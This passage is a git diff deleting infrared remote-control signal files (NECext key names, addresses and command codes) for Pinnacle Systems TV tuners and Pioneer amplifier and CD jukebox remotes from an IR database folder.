-protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: PAUSE/STEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: ENTER/> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: VRMT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir deleted file mode 100644 index 24de2a142..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: loop -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 07 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 08 00 00 00 -# -name: del -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 1E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 26 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 29 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 2D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 2E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 3D 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 88 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 8C 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 99 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 9E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 11 14 00 00 -command: 9F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: A8 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 11 14 00 00 -command: A9 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 11 14 00 00 -command: AA 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 11 14 00 00 -command: AB 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: B7 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D0 00 00 00 -# -name: pinnacle -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D1 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D2 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D3 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D4 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D5 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 11 14 00 00 -command: D6 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 14 00 00 -command: DB 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 14 00 00 -command: DC 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 11 14 00 00 -command: E1 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F1 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F2 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F3 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F4 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F5 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F6 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F7 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F8 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: F9 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 14 00 00 -command: FA 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 11 14 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir deleted file mode 100644 index 092fe60f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: key_mute -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: key_menu -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: key_volumeup -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: key_channelup -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: key_volumedown -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: key_channeldown -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: btn_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: btn_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: btn_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: btn_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: btn_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: btn_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: btn_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: btn_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: btn_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: key_screen -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: btn_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: key_t -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: key_rewind -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: key_playpause -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: key_fastforward -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: key_record -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: key_power -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: key_stop -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: key_question -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir deleted file mode 100644 index 1eb344619..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: ask -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir deleted file mode 100644 index e2099edf7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: CTVERECVECTVERCI -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: A_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: B_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: C_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: OTAZNIK_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: CH_PLUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: CH_MINUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: CAPS_NUM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: DEL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: BEGINNING -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: KEY_END -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: CTVERECSETREMIRADKY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: PINNACLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: RED_IN_THE_MIDDLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir deleted file mode 100644 index 88fcfdd07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DOWN_CURSOR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir deleted file mode 100644 index 0a0d5a94b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP_CURSOR -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir deleted file mode 100644 index 0377939d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 08 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0B 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0D 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0E 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 1C 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 40 00 00 00 -# -name: CH._LEVEL_- -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 41 00 00 00 -# -name: CH._LEVEL_+ -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 42 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 47 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4C 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4E 00 00 00 -# -name: CH_SELECT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 56 00 00 00 -# -name: ATT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5E 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5E 00 00 00 -# -name: RIGHT_CURSOR -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 82 00 00 00 -# -name: LEFT_CURSOR -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 83 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 84 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 85 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 9B 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 9F 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 9F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: C0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: D1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: D6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir deleted file mode 100644 index 4f82532ec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir +++ /dev/null @@ -1,524 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 10 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: OUTPUT_+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: PROGRAM_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: SONG_UP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: SONG_DOWN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: STBY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1D 00 00 00 -# -name: DISC_UP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1D 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1E 00 00 00 -# -name: D1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1E 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1F 00 00 00 -# -name: D2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1F 00 00 00 -# -name: TRACK_SET -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 40 00 00 00 -# -name: DISC_SET -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 41 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 43 00 00 00 -# -name: TIME/CHAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 43 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 45 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 49 00 00 00 -# -name: RANDOM_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 50 00 00 00 -# -name: D3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 50 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 53 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 53 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 57 00 00 00 -# -name: D5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 57 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5B 00 00 00 -# -name: D6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5B 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5D 00 00 00 -# -name: HI_LITE_SCAN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 -# -name: HI-LITLE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 -# -name: HI-LITE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 81 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 92 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 93 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 94 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 95 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9C 00 00 00 -# -name: ADLC -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C0 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C0 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: M2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: M3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: DISC_DOWN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: BEST -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: TITLE_DISPLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: TITTLE_SEARCH -type: 